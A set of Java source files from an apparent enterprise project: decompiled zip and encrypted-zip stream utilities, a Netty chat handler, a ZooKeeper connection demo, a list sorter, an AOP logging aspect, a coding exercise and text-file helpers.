// }
}
<file_sep>package com.hcicloud.sap.common.utils.unzip.file;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.zip.ZipEntry;
import java.util.zip.ZipInputStream;
import java.util.zip.ZipOutputStream;
public final class ZipUtils
{
public static final byte[] MAGIC_NUMBER = { 80, 75, 3, 4 };
/**
* 判断是否为 .zip 文件
* @param rawZipFile
* @return
*/
public static boolean isZipFile(byte[] rawZipFile) {
if (rawZipFile.length < MAGIC_NUMBER.length) {
return false;
}
for (int i = 0; i < MAGIC_NUMBER.length; ++i) {
if (MAGIC_NUMBER[i] != rawZipFile[i]) {
return false;
}
}
return true;
}
public static byte[] toRawZipFile(List<ZipEntry> entries, List<byte[]> files)
/* */ throws IOException
/* */ {
/* 49 */ if (entries.size() != files.size()) {
/* 50 */ return null;
/* */ }
/* 52 */ ByteArrayOutputStream bytes = new ByteArrayOutputStream();
/* 53 */ ZipOutputStream zip = new ZipOutputStream(bytes);
/* 54 */ Iterator entriesItr = entries.iterator();
/* 55 */ Iterator filesItr = files.iterator();
/* 56 */ while (entriesItr.hasNext()) {
/* 57 */ byte[] file = (byte[])filesItr.next();
/* 58 */ ZipEntry entry = (ZipEntry)entriesItr.next();
/* 59 */ zip.putNextEntry(entry);
/* 60 */ zip.write(file, 0, file.length);
/* */ }
/* 62 */ zip.close();
/* 63 */ return bytes.toByteArray();
/* */ }
/* */
/* */ @SuppressWarnings("unchecked")
public static List<ZipEntry> toZipEntryList(byte[] rawZipFile) throws IOException
/* */ {
/* 68 */ ArrayList entries = new ArrayList();
/* 69 */ ByteArrayInputStream bytes = new ByteArrayInputStream(rawZipFile);
/* 70 */ ZipInputStream zip = new ZipInputStream(bytes);
/* 71 */ ZipEntry entry = zip.getNextEntry();
/* 72 */ while (entry != null) {
/* 73 */ entries.add(entry);
/* 74 */ entry = zip.getNextEntry();
/* */ }
/* 76 */ zip.close();
/* 77 */ return entries;
/* */ }
/* */
/* */ @SuppressWarnings("unchecked")
public static List<byte[]> toByteArrayList(byte[] rawZipFile) throws IOException
/* */ {
/* 82 */ ArrayList files = new ArrayList();
/* 83 */ ByteArrayInputStream bytes = new ByteArrayInputStream(rawZipFile);
/* 84 */ ZipInputStream zip = new ZipInputStream(bytes);
/* */
/* 87 */ ZipEntry entry = zip.getNextEntry();
/* 88 */ while (entry != null) {
/* 89 */ ByteArrayOutputStream file = new ByteArrayOutputStream();
/* 90 */ byte[] buf = new byte[4096];
/* */ int len;
/* 91 */ while ((len = zip.read(buf, 0, 4096)) != -1) {
/* 92 */ file.write(buf, 0, len);
/* */ }
/* 94 */ files.add(file.toByteArray());
/* 95 */ entry = zip.getNextEntry();
/* */ }
/* 97 */ zip.close();
/* 98 */ return files;
/* */ }
/**
* 读取多个文件,转为 .zip输出流
* @param srcfile
* @return
*/
public static byte[] readZipByte(File[] srcfile) {
ByteArrayOutputStream tempOStream = new ByteArrayOutputStream(1024);
byte[] tempBytes = (byte[]) null;
byte[] buf = new byte[1024];
try {
ZipOutputStream out = new ZipOutputStream(tempOStream);
for (int i = 0; i < srcfile.length; ++i) {
FileInputStream in = new FileInputStream(srcfile[i]);
out.putNextEntry(new ZipEntry(srcfile[i].getName()));
int len;
while ((len = in.read(buf)) > 0) {
out.write(buf, 0, len);
}
out.closeEntry();
in.close();
}
tempOStream.flush();
out.close();
tempBytes = tempOStream.toByteArray();
tempOStream.close();
} catch (IOException e) {
e.printStackTrace();
}
return tempBytes;
}
/* */ @SuppressWarnings("unchecked")
public static byte[] zipFiles(Map<String, byte[]> files)
/* */ throws Exception
/* */ {
/* 152 */ ByteArrayOutputStream dest = new ByteArrayOutputStream();
/* 153 */ ZipOutputStream out = new ZipOutputStream(
/* 154 */ new BufferedOutputStream(dest));
/* 155 */ byte[] data = new byte[2048];
/* 156 */ Iterator itr = files.keySet().iterator();
/* 157 */ while (itr.hasNext()) {
/* 158 */ String tempName = (String)itr.next();
/* 159 */ byte[] tempFile = (byte[])files.get(tempName);
/* */
/* 161 */ ByteArrayInputStream bytesIn = new ByteArrayInputStream(tempFile);
/* 162 */ BufferedInputStream origin = new BufferedInputStream(bytesIn, 2048);
/* 163 */ ZipEntry entry = new ZipEntry(tempName);
/* 164 */ out.putNextEntry(entry);
/* */ int count;
/* 166 */ while ((count = origin.read(data, 0, 2048)) != -1) {
/* 167 */ out.write(data, 0, count);
/* */ }
/* 169 */ bytesIn.close();
/* 170 */ origin.close();
/* */ }
/* 172 */ out.close();
/* 173 */ byte[] outBytes = dest.toByteArray();
/* 174 */ dest.close();
/* 175 */ return outBytes;
/* */ }
/* */
/* */ @SuppressWarnings("unchecked")
public static byte[] zipEntriesAndFiles(Map<ZipEntry, byte[]> files) throws Exception
/* */ {
/* 180 */ ByteArrayOutputStream dest = new ByteArrayOutputStream();
/* 181 */ ZipOutputStream out = new ZipOutputStream(
/* 182 */ new BufferedOutputStream(dest));
/* 183 */ byte[] data = new byte[2048];
/* 184 */ Iterator itr = files.keySet().iterator();
/* 185 */ while (itr.hasNext()) {
/* 186 */ ZipEntry entry = (ZipEntry)itr.next();
/* 187 */ byte[] tempFile = (byte[])files.get(entry);
/* 188 */ ByteArrayInputStream bytesIn = new ByteArrayInputStream(tempFile);
/* 189 */ BufferedInputStream origin = new BufferedInputStream(bytesIn, 2048);
/* 190 */ out.putNextEntry(entry);
/* */ int count;
/* 192 */ while ((count = origin.read(data, 0, 2048)) != -1) {
/* 193 */ out.write(data, 0, count);
/* */ }
/* 195 */ bytesIn.close();
/* 196 */ origin.close();
/* */ }
/* 198 */ out.close();
/* 199 */ byte[] outBytes = dest.toByteArray();
/* 200 */ dest.close();
/* 201 */ return outBytes;
/* */ }
/* */
/* */ @SuppressWarnings("unchecked")
public static Map<String, byte[]> unzipFiles(byte[] zipBytes)
/* */ throws IOException
/* */ {
/* 207 */ InputStream bais = new ByteArrayInputStream(zipBytes);
/* 208 */ ZipInputStream zin = new ZipInputStream(bais);
/* */
/* 210 */ Map extractedFiles = new HashMap();
/* */ ZipEntry ze;
/* 211 */ while ((ze = zin.getNextEntry()) != null) {
/* 212 */ ByteArrayOutputStream toScan = new ByteArrayOutputStream();
/* 213 */ byte[] buf = new byte[1024];
/* */ int len;
/* 215 */ while ((len = zin.read(buf)) > 0) {
/* 216 */ toScan.write(buf, 0, len);
/* */ }
/* 218 */ byte[] fileOut = toScan.toByteArray();
/* 219 */ toScan.close();
/* 220 */ extractedFiles.put(ze.getName(), fileOut);
/* */ }
/* 222 */ zin.close();
/* 223 */ bais.close();
/* 224 */ return extractedFiles;
/* */ }
/* */
/* */ @SuppressWarnings("unchecked")
public static Map<String, byte[]> unzipFiles(InputStream bais) throws IOException
/* */ {
/* 229 */ ZipInputStream zin = new ZipInputStream(bais);
/* */
/* 231 */ Map extractedFiles = new HashMap();
/* */ ZipEntry ze;
/* 232 */ while ((ze = zin.getNextEntry()) != null) {
/* 233 */ ByteArrayOutputStream toScan = new ByteArrayOutputStream();
/* 234 */ byte[] buf = new byte[1024];
/* */ int len;
/* 236 */ while ((len = zin.read(buf)) > 0) {
/* 237 */ toScan.write(buf, 0, len);
/* */ }
/* 239 */ byte[] fileOut = toScan.toByteArray();
/* 240 */ toScan.close();
/* 241 */ extractedFiles.put(ze.getName(), fileOut);
/* */ }
/* 243 */ zin.close();
/* 244 */ bais.close();
/* 245 */ return extractedFiles;
/* */ }
/* */ }
/* Location: E:\移联百汇\二期设计\java压缩加密\win.jar
* Qualified Name: com.training.commons.file.ZipUtils
* JD-Core Version: 0.5.3
*/<file_sep>package com.hcicloud.sap.study.netty.chat.client;
import io.netty.channel.Channel;
import io.netty.channel.ChannelHandlerContext;
import io.netty.channel.SimpleChannelInboundHandler;
import io.netty.channel.group.ChannelGroup;
import io.netty.channel.group.DefaultChannelGroup;
import io.netty.util.concurrent.GlobalEventExecutor;
import java.time.LocalDateTime;
public class ChatClientHandler extends SimpleChannelInboundHandler<String> {
//存放所有channel对象
private static ChannelGroup channelGroup = new DefaultChannelGroup(GlobalEventExecutor.INSTANCE);
@Override
protected void channelRead0(ChannelHandlerContext ctx, String msg) throws Exception {
System.out.println(msg);
}
}
<file_sep>package com.hcicloud.sap.common.utils;
import java.lang.reflect.Method;
import java.util.Collections;
import java.util.Comparator;
import java.util.List;
/**
* @Title: ListSort.java
* @Package com.sinovoice.hcicloud.common
* @Description: List对象排序
* @author wudong
* @date 2015年4月17日 下午6:29:03
* @param <E>
*/
@SuppressWarnings("all")
public class ListSort<E> {
/**
* @Title: Sort
* @Description: list对象排序
* @param list
* @param method
* @param sort
* @throws
*/
public void Sort(List<E> list, final String method, final String sort) {
// 用内部类实现排序
Collections.sort(list, new Comparator<E>() {
@Override
public int compare(E a, E b) {
int ret = 0;
try {
// 获取m1的方法名
Method m1 = a.getClass().getMethod(method, null);
// 获取m2的方法名
Method m2 = b.getClass().getMethod(method, null);
if (sort != null && "desc".equals(sort)) {
ret = m2.invoke((b), null).toString()
.compareTo(m1.invoke((a), null).toString());
} else {
// 正序排序
ret = m1.invoke((a), null).toString()
.compareTo(m2.invoke((b), null).toString());
}
} catch (Exception e) {
}
return ret;
}
});
}
}
<file_sep>package com.hcicloud.sap.study.zookeeper;
import org.apache.zookeeper.WatchedEvent;
import org.apache.zookeeper.Watcher;
import org.apache.zookeeper.ZooKeeper;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
public class ZKConnect implements Watcher {
final static Logger log = LoggerFactory.getLogger(ZKConnect.class);
// public static final String zkServerPath = "10.0.1.227:2181";
public static final String zkServerPath = "10.0.1.227:2181,10.0.1.227:2182,10.0.1.227:2183";
public static final Integer timeout= 5000;
public static void main(String[] args) throws Exception {
/**
* 客户端和ZK服务端的连接是一个异步的过程
* 当连接成功后,客户端会收到一个watch的通知
*
* 参数:
* connectString:连接服务器的ip字符串
* 比如:"10.0.1.227:2181,10.0.1.227:2182,10.0.1.227:2183"
* 可以是一个ip,也可以是多个ip,一个ip代表单机,多个ip代表集群
* 也可以在ip后面加路径
*
* sessionTimeout:超时时间,心跳收不到了,那就超时
* watcher:通知事件,如果有对应的事件触发,则会收到一个通知;如果不需要,那就设置为NULL
* canBeReadOnly:可读,当这个物理机节点断开后,还是可以读到数据的,只是不能写,
* 此时数据被读取到的可能是旧数据,此处建议设置为false,不推荐使用
* sessionId:会话的ID
* sessionPasswd:会话密码 当会话丢失后,可以依据session和sessionPasswd 重新获取会话
*/
ZooKeeper zk = new ZooKeeper(zkServerPath, timeout, new ZKConnect());
log.debug("客户端开始连接zookeeper服务器……");
log.debug("连接状态: {}", zk.getState());
new Thread().sleep(2000);
log.debug("连接状态: {}", zk.getState());
}
@Override
public void process(WatchedEvent watchedEvent) {
log.debug("接受到watch通知: {}", watchedEvent);
}
}
<file_sep>package com.hcicloud.sap.common.utils.unzip.util.zip;
import com.hcicloud.sap.common.utils.unzip.util.extend.ZipCrypto;
import java.io.EOFException;
import java.io.IOException;
import java.io.InputStream;
import java.io.PushbackInputStream;
import java.util.zip.CRC32;
import java.util.zip.Inflater;
import java.util.zip.ZipException;
/* */
/* */ public class EncryptZipInput extends EncryptInflater
/* */ implements ZipConstants
/* */ {
/* */ private EncryptZipEntry entry;
/* 15 */ private CRC32 crc = new CRC32();
/* */ private long remaining;
/* 17 */ private byte[] tmpbuf = new byte[512];
/* */ @SuppressWarnings("unused")
private static final int STORED = 0;
/* */ @SuppressWarnings("unused")
private static final int DEFLATED = 8;
/* 22 */ private boolean closed = false;
/* */
/* 25 */ private boolean entryEOF = false;
/* */
/* 202 */ private byte[] b = new byte[256];
/* */
/* */ private void ensureOpen()
/* */ throws IOException
/* */ {
/* 31 */ if (this.closed)
/* 32 */ throw new IOException("Stream closed");
/* */ }
/* */
/* */ public EncryptZipInput(InputStream in, String password)
/* */ {
/* 41 */ super(new PushbackInputStream(in, 512), new Inflater(true), 512);
/* 42 */ this.usesDefaultInflater = true;
/* 43 */ if (in == null) {
/* 44 */ throw new NullPointerException("in is null");
/* */ }
/* 46 */ this.password = <PASSWORD>;
/* */ }
/* */
/* */ public EncryptZipEntry getNextEntry()
/* */ throws IOException
/* */ {
/* 57 */ ensureOpen();
/* 58 */ if (this.entry != null) {
/* 59 */ closeEntry();
/* */ }
/* 61 */ this.crc.reset();
/* 62 */ this.inf.reset();
/* 63 */ if ((this.entry = readLOC()) == null) {
/* 64 */ return null;
/* */ }
/* 66 */ if (this.entry.method == 0) {
/* 67 */ this.remaining = this.entry.size;
/* */ }
/* 69 */ this.entryEOF = false;
/* 70 */ return this.entry;
/* */ }
/* */
/* */ public void closeEntry()
/* */ throws IOException
/* */ {
/* 80 */ ensureOpen();
/* 81 */ while (read(this.tmpbuf, 0, this.tmpbuf.length) != -1);
/* 83 */ this.entryEOF = true;
/* */ }
/* */
/* */ public int available()
/* */ throws IOException
/* */ {
/* 98 */ ensureOpen();
/* 99 */ if (this.entryEOF) {
/* 100 */ return 0;
/* */ }
/* 102 */ return 1;
/* */ }
/* */
/* */ public int read(byte[] b, int off, int len)
/* */ throws IOException
/* */ {
/* 118 */ ensureOpen();
/* 119 */ if ((off < 0) || (len < 0) || (off > b.length - len))
/* 120 */ throw new IndexOutOfBoundsException();
/* 121 */ if (len == 0) {
/* 122 */ return 0;
/* */ }
/* */
/* 125 */ if (this.entry == null) {
/* 126 */ return -1;
/* */ }
/* 128 */ switch (this.entry.method)
/* */ {
/* */ case 8:
/* 130 */ len = super.read(b, off, len);
/* 131 */ if (len == -1) {
/* 132 */ readEnd(this.entry);
/* 133 */ this.entryEOF = true;
/* 134 */ this.entry = null;
/* */ } else {
/* 136 */ this.crc.update(b, off, len);
/* */ }
/* 138 */ return len;
/* */ case 0:
/* 140 */ if (this.remaining <= 0L) {
/* 141 */ this.entryEOF = true;
/* 142 */ this.entry = null;
/* 143 */ return -1;
/* */ }
/* 145 */ if (len > this.remaining) {
/* 146 */ len = (int)this.remaining;
/* */ }
/* 148 */ len = this.in.read(b, off, len);
/* 149 */ if (len == -1) {
/* 150 */ throw new ZipException("unexpected EOF");
/* */ }
/* 152 */ this.crc.update(b, off, len);
/* 153 */ this.remaining -= len;
/* 154 */ return len;
/* */ }
/* 156 */ throw new InternalError("invalid compression method");
/* */ }
/* */
/* */ public long skip(long n)
/* */ throws IOException
/* */ {
/* 169 */ if (n < 0L) {
/* 170 */ throw new IllegalArgumentException("negative skip length");
/* */ }
/* 172 */ ensureOpen();
/* 173 */ int max = (int)Math.min(n, 2147483647L);
/* 174 */ int total = 0;
/* 175 */ while (total < max) {
/* 176 */ int len = max - total;
/* 177 */ if (len > this.tmpbuf.length) {
/* 178 */ len = this.tmpbuf.length;
/* */ }
/* 180 */ len = read(this.tmpbuf, 0, len);
/* 181 */ if (len == -1) {
/* 182 */ this.entryEOF = true;
/* 183 */ break;
/* */ }
/* 185 */ total += len;
/* */ }
/* 187 */ return total;
/* */ }
/* */
/* */ public void close()
/* */ throws IOException
/* */ {
/* 196 */ if (!(this.closed)) {
/* 197 */ super.close();
/* 198 */ this.closed = true;
/* */ }
/* */ }
/* */
/* */ private EncryptZipEntry readLOC()
/* */ throws IOException
/* */ {
/* */ try
/* */ {
/* 209 */ readFully(this.tmpbuf, 0, 30);
/* */ } catch (EOFException e) {
/* 211 */ return null;
/* */ }
/* 213 */ if (get32(this.tmpbuf, 0) != 67324752L) {
/* 214 */ return null;
/* */ }
/* */
/* 217 */ int len = get16(this.tmpbuf, 26);
/* 218 */ if (len == 0) {
/* 219 */ throw new ZipException("missing entry name");
/* */ }
/* 221 */ int blen = this.b.length;
/* 222 */ if (len > blen) {
/* */ do
/* 224 */ blen *= 2;
/* 225 */ while (len > blen);
/* 226 */ this.b = new byte[blen];
/* */ }
/* 228 */ readFully(this.b, 0, len);
/* 229 */ EncryptZipEntry e = createZipEntry(getUTF8String(this.b, 0, len));
/* */
/* 231 */ e.version = get16(this.tmpbuf, 4);
/* 232 */ e.flag = get16(this.tmpbuf, 6);
/* */
/* 236 */ e.method = get16(this.tmpbuf, 8);
/* 237 */ e.time = get32(this.tmpbuf, 10);
/* 238 */ if ((e.flag & 0x8) == 8)
/* */ {
/* 240 */ if (e.method != 8)
/* 241 */ throw new ZipException(
/* 242 */ "only DEFLATED entries can have EXT descriptor");
/* */ }
/* */ else {
/* 245 */ e.crc = get32(this.tmpbuf, 14);
/* 246 */ e.csize = get32(this.tmpbuf, 18);
/* 247 */ e.size = get32(this.tmpbuf, 22);
/* */ }
/* 249 */ len = get16(this.tmpbuf, 28);
/* 250 */ if (len > 0) {
/* 251 */ byte[] bb = new byte[len];
/* 252 */ readFully(bb, 0, len);
/* 253 */ e.extra = bb;
/* */ }
/* */
/* 256 */ if (this.password != null) {
/* 257 */ byte[] extaData = new byte[12];
/* 258 */ readFully(extaData, 0, 12);
/* 259 */ ZipCrypto.InitCipher(this.password);
/* 260 */ extaData = ZipCrypto.DecryptMessage(extaData, 12);
/* 261 */ if (extaData[11] != (byte)(int)(e.crc >> 24 & 0xFF)) {
/* 262 */ if ((e.flag & 0x8) != 8)
/* 263 */ throw new ZipException("The password did not match.");
/* 264 */ if (extaData[11] != (byte)(int)(e.time >> 8 & 0xFF)) {
/* 265 */ throw new ZipException("The password did not match.");
/* */ }
/* */ }
/* */ }
/* 269 */ return e;
/* */ }
/* */
/* */ private static String getUTF8String(byte[] b, int off, int len)
/* */ {
/* 277 */ int count = 0;
/* 278 */ int max = off + len;
/* 279 */ int i = off;
/* 280 */ while (i < max) {
/* 281 */ int c = b[(i++)] & 0xFF;
/* 282 */ switch (c >> 4)
/* */ {
/* */ case 0:
/* */ case 1:
/* */ case 2:
/* */ case 3:
/* */ case 4:
/* */ case 5:
/* */ case 6:
/* */ case 7:
/* 292 */ ++count;
/* 293 */ break;
/* */ case 12:
/* */ case 13:
/* 297 */ if ((b[(i++)] & 0xC0) != 128) {
/* 298 */ throw new IllegalArgumentException();
/* */ }
/* 300 */ ++count;
/* 301 */ break;
/* */ case 14:
/* 304 */ if (((b[(i++)] & 0xC0) != 128) ||
/* 305 */ ((b[(i++)] & 0xC0) != 128)) {
/* 306 */ throw new IllegalArgumentException();
/* */ }
/* 308 */ ++count;
/* 309 */ break;
/* */ case 8:
/* */ case 9:
/* */ case 10:
/* */ case 11:
/* */ default:
/* 312 */ throw new IllegalArgumentException();
/* */ }
/* */ }
/* 315 */ if (i != max) {
/* 316 */ throw new IllegalArgumentException();
/* */ }
/* */
/* 319 */ char[] cs = new char[count];
/* 320 */ i = 0;
/* 321 */ while (off < max) {
/* 322 */ int c = b[(off++)] & 0xFF;
/* 323 */ switch (c >> 4)
/* */ {
/* */ case 0:
/* */ case 1:
/* */ case 2:
/* */ case 3:
/* */ case 4:
/* */ case 5:
/* */ case 6:
/* */ case 7:
/* 333 */ cs[(i++)] = (char)c;
/* 334 */ break;
/* */ case 12:
/* */ case 13:
/* 338 */ cs[(i++)] = (char)((c & 0x1F) << 6 | b[(off++)] & 0x3F);
/* 339 */ break;
/* */ case 14:
/* 342 */ int t = (b[(off++)] & 0x3F) << 6;
/* 343 */ cs[(i++)] = (char)((c & 0xF) << 12 | t | b[(off++)] & 0x3F);
/* 344 */ break;
/* */ case 8:
/* */ case 9:
/* */ case 10:
/* */ case 11:
/* */ default:
/* 347 */ throw new IllegalArgumentException();
/* */ }
/* */ }
/* 350 */ return new String(cs, 0, count);
/* */ }
/* */
/* */ protected EncryptZipEntry createZipEntry(String name)
/* */ {
/* 361 */ return new EncryptZipEntry(name);
/* */ }
/* */
/* */ private void readEnd(EncryptZipEntry e)
/* */ throws IOException
/* */ {
/* 368 */ int n = this.inf.getRemaining();
/* 369 */ if (n > 0) {
/* 370 */ ((PushbackInputStream)this.in).unread(this.buf, this.len - n, n);
/* */ }
/* 372 */ if ((e.flag & 0x8) == 8)
/* */ {
/* 374 */ readFully(this.tmpbuf, 0, 16);
/* 375 */ long sig = get32(this.tmpbuf, 0);
/* 376 */ if (sig != 134695760L) {
/* 377 */ e.crc = sig;
/* 378 */ e.csize = get32(this.tmpbuf, 4);
/* 379 */ e.size = get32(this.tmpbuf, 8);
/* 380 */ ((PushbackInputStream)this.in).unread(this.tmpbuf, 11,
/* 381 */ 4);
/* */ } else {
/* 383 */ e.crc = get32(this.tmpbuf, 4);
/* 384 */ e.csize = get32(this.tmpbuf, 8);
/* 385 */ if (e.flag == 9)
/* 386 */ e.csize -= 12L;
/* 387 */ e.size = get32(this.tmpbuf, 12);
/* */ }
/* */ }
/* 390 */ if (e.size != this.inf.getBytesWritten()) {
/* 391 */ throw new ZipException("invalid entry size (expected " + e.size +
/* 392 */ " but got " + this.inf.getBytesWritten() + " bytes)");
/* */ }
/* 394 */ if (e.csize != this.inf.getBytesRead()) {
/* 395 */ throw new ZipException("invalid entry compressed size (expected " +
/* 396 */ e.csize + " but got " + this.inf.getBytesRead() + " bytes)");
/* */ }
/* 398 */ if (e.crc != this.crc.getValue())
/* 399 */ throw new ZipException("invalid entry CRC (expected 0x" +
/* 400 */ Long.toHexString(e.crc) + " but got 0x" +
/* 401 */ Long.toHexString(this.crc.getValue()) + ")");
/* */ }
/* */
/* */ private void readFully(byte[] b, int off, int len)
/* */ throws IOException
/* */ {
/* 409 */ while (len > 0) {
/* 410 */ int n = this.in.read(b, off, len);
/* 411 */ if (n == -1) {
/* 412 */ throw new EOFException();
/* */ }
/* 414 */ off += n;
/* 415 */ len -= n;
/* */ }
/* */ }
/* */
/* */ private static final int get16(byte[] b, int off)
/* */ {
/* 424 */ return (b[off] & 0xFF | (b[(off + 1)] & 0xFF) << 8);
/* */ }
/* */
/* */ private static final long get32(byte[] b, int off)
/* */ {
/* 432 */ return (get16(b, off) | get16(b, off + 2) << 16);
/* */ }
/* */ }
/* Location: E:\移联百汇\二期设计\java压缩加密\win.jar
* Qualified Name: nochump.util.zip.EncryptZipInput
* JD-Core Version: 0.5.3
*/<file_sep>package com.hcicloud.sap.study.offer;
/**
* 题目描述【2.替换空格】
* 请实现一个函数,将一个字符串中的空格替换成“%20”。例如,当字符串为We Are Happy.则经过替换之后的字符串为We%20Are%20Happy。
*
*
* 解答:
* 这就很尴尬了
*/
public class Offer002 {
public static String replaceSpace(StringBuffer str) {
return str.toString().replace(" ", "%20");
}
public static void main(String[] args){
StringBuffer stringBuffer = new StringBuffer();
stringBuffer.append("We Are Happy.");
System.out.println(replaceSpace(stringBuffer));
}
}
<file_sep>package com.hcicloud.sap.common.utils;
import org.aspectj.lang.ProceedingJoinPoint;
import org.aspectj.lang.annotation.*;
import org.springframework.stereotype.Component;
@Aspect
@Component
public class SystemLogAspect_Annotion {
/*@Autowired
SystemLogServiceI systemLogService;*/
//定义一个切入点
@Pointcut("execution(* com.hcicloud.sap.controller ..*.add(..))")
private void addMethod(){}
@Pointcut("execution(* com.hcicloud.sap.controller ..*.delete(..))")
private void deleteMethod(){}
@Pointcut("execution(* com.hcicloud.sap.controller ..*.edit(..))")
private void editMethod(){}
@Pointcut("execution(* com.hcicloud.sap.controller ..*.login(..))")
private void loginMethod(){}
@Pointcut("execution(* com.hcicloud.sap.controller ..*.logout(..))")
private void logoutMethod(){}
@Before("addMethod() || editMethod() || deleteMethod() || loginMethod() || logoutMethod()")
public void doAccessCheck(){
System.out.println("前置通知");
}
@AfterReturning("addMethod() || editMethod() || deleteMethod() || loginMethod() || logoutMethod()")
public void doAfter(){
System.out.println("后置通知");
}
@After("addMethod() || editMethod() || deleteMethod() || loginMethod() || logoutMethod()")
public void after(/*JoinPoint jp*/){
System.out.println("最终通知");
/*
System.out.println(jp.getTarget().getClass().getSimpleName());
System.out.println(jp.getTarget().getClass().getAnnotation(RequestMapping.class).value());
System.out.println(jp.getTarget().getClass().getAnnotation(RequestMapping.class).toString());
String [] annotions = jp.getTarget().getClass().getAnnotation(RequestMapping.class).value();
for (int i = 0; i < annotions.length; i++) {
System.out.println("value:" + annotions[i]);
}
systemLogService.add(new SystemLog(annotions[0], jp.getSignature().getName()));
*/
}
@AfterThrowing("addMethod() || editMethod() || deleteMethod() || loginMethod() || logoutMethod()")
public void doAfterThrow(){
System.out.println("例外通知");
}
@Around("addMethod() || editMethod() || deleteMethod() || loginMethod() || logoutMethod()")
public Object doBasicProfiling(ProceedingJoinPoint pjp) throws Throwable{
System.out.println("进入环绕通知");
//执行该方法
Object object = pjp.proceed();
System.out.println("退出方法");
return object;
}
}
<file_sep>package com.hcicloud.sap.common.utils.unzip.util.zip;
/* */
/* */ import com.hcicloud.sap.common.utils.unzip.util.extend.ZipCrypto;
import java.io.FilterOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.util.zip.Deflater;
/* */
/* */ public class EncryptDeflater extends FilterOutputStream
/* */ {
/* */ protected Deflater def;
/* */ protected byte[] buf;
/* */ private boolean closed;
/* */ boolean usesDefaultDeflater;
/* */ protected String password;
/* */
/* */ public EncryptDeflater(OutputStream out, Deflater def, int size)
/* */ {
/* 37 */ super(out);
/* */
/* 26 */ this.closed = false;
/* */
/* 57 */ this.usesDefaultDeflater = false;
/* */
/* 164 */ this.password = <PASSWORD>;
/* */
/* 38 */ if ((out == null) || (def == null))
/* 39 */ throw new NullPointerException();
/* 40 */ if (size <= 0) {
/* 41 */ throw new IllegalArgumentException("buffer size <= 0");
/* */ }
/* 43 */ this.def = def;
/* 44 */ this.buf = new byte[size];
/* */ }
/* */
/* */ public EncryptDeflater(OutputStream out, Deflater def)
/* */ {
/* 54 */ this(out, def, 512);
/* */ }
/* */
/* */ public EncryptDeflater(OutputStream out)
/* */ {
/* 64 */ this(out, new Deflater());
/* 65 */ this.usesDefaultDeflater = true;
/* */ }
/* */
/* */ public void write(int b)
/* */ throws IOException
/* */ {
/* 75 */ byte[] buf = new byte[1];
/* 76 */ buf[0] = (byte)(b & 0xFF);
/* 77 */ write(buf, 0, 1);
/* */ }
/* */
/* */ public void write(byte[] b, int off, int len)
/* */ throws IOException
/* */ {
/* 89 */ if (this.def.finished()) {
/* 90 */ throw new IOException("write beyond end of stream");
/* */ }
/* 92 */ if ((off | len | off + len | b.length - (off + len)) < 0)
/* 93 */ throw new IndexOutOfBoundsException();
/* 94 */ if (len == 0) {
/* 95 */ return;
/* */ }
/* 97 */ if (!(this.def.finished())) {
/* 98 */ this.def.setInput(b, off, len);
/* 99 */ while (!(this.def.needsInput()))
/* 100 */ deflate();
/* */ }
/* */ }
/* */
/* */ public void finish()
/* */ throws IOException
/* */ {
/* 112 */ if (!(this.def.finished())) {
/* 113 */ this.def.finish();
/* 114 */ while (!(this.def.finished()))
/* 115 */ deflate();
/* */ }
/* */ }
/* */
/* */ public void close()
/* */ throws IOException
/* */ {
/* 126 */ if (!(this.closed)) {
/* 127 */ finish();
/* 128 */ if (this.usesDefaultDeflater)
/* 129 */ this.def.end();
/* 130 */ this.out.close();
/* 131 */ this.closed = true;
/* */ }
/* */ }
/* */
/* */ protected void writeExtData(EncryptZipEntry entry) throws IOException
/* */ {
/* 137 */ byte[] extData = new byte[12];
/* 138 */ ZipCrypto.InitCipher(this.password);
/* 139 */ for (int i = 0; i < 11; ++i)
/* 140 */ extData[i] = (byte)Math.round(256.0F);
/* 141 */ extData[11] = (byte)(int)(entry.time >> 8 & 0xFF);
/* 142 */ extData = ZipCrypto.EncryptMessage(extData, 12);
/* 143 */ this.out.write(extData, 0, extData.length);
/* */ }
/* */
/* */ protected void deflate()
/* */ throws IOException
/* */ {
/* 153 */ int len = this.def.deflate(this.buf, 0, this.buf.length);
/* 154 */ if (len > 0) {
/* 155 */ if (this.password != null)
/* */ {
/* 157 */ byte[] crypto = ZipCrypto.EncryptMessage(this.buf, len);
/* 158 */ this.out.write(crypto, 0, len);
/* 159 */ return;
/* */ }
/* 161 */ this.out.write(this.buf, 0, len);
/* */ }
/* */ }
/* */ }
/* Location: E:\移联百汇\二期设计\java压缩加密\win.jar
* Qualified Name: nochump.util.zip.EncryptDeflater
* JD-Core Version: 0.5.3
*/<file_sep>package com.hcicloud.sap.common.utils;
import java.io.*;
import java.nio.charset.Charset;
import java.util.ArrayList;
import java.util.List;
import java.util.UUID;
public class TxtUtil {
/**
* 创建文件
* @param fileName
* @return
*/
public static boolean createFile(File fileName)throws Exception{
boolean flag=false;
try{
if(!fileName.exists()){
fileName.createNewFile();
flag=true;
}
}catch(Exception e){
e.printStackTrace();
}
return true;
}
/**
* 使用gbk读TXT文件内容
* @param fileName
* @return
*/
public static List<String> readTxtFile(File fileName)throws Exception{
List<String> results = new ArrayList<String>();
BufferedReader reader = null;
try{
reader = new BufferedReader(new InputStreamReader(new FileInputStream(fileName), "gbk"));
String read=null;
while((read=reader.readLine())!=null){
results.add(read);
}
}catch(Exception e){
e.printStackTrace();
}finally{
if(reader!=null){
reader.close();
}
}
//System.out.println("读取出来的文件内容是:"+"\r\n"+results.toString());
return results;
}
/**
* 写文件
* @param content
* @param fileName
* @return
* @throws Exception
*/
public static boolean writeTxtFile(String content,File fileName)throws Exception{
RandomAccessFile mm=null;
boolean flag=false;
FileOutputStream o=null;
try {
o = new FileOutputStream(fileName);
o.write(content.getBytes("GBK"));
o.close();
flag=true;
} catch (Exception e) {
e.printStackTrace();
}finally{
if(mm!=null){
mm.close();
}
}
return flag;
}
/**
* 删除单个文件
* @param sPath 被删除文件的文件名
* @return 单个文件删除成功返回true,否则返回false
*/
public static boolean deleteFile(String sPath) {
boolean flag = false;
File file = new File(sPath);
// 路径为文件且不为空则进行删除
if (file.isFile() && file.exists()) {
file.delete();
flag = true;
}
return flag;
}
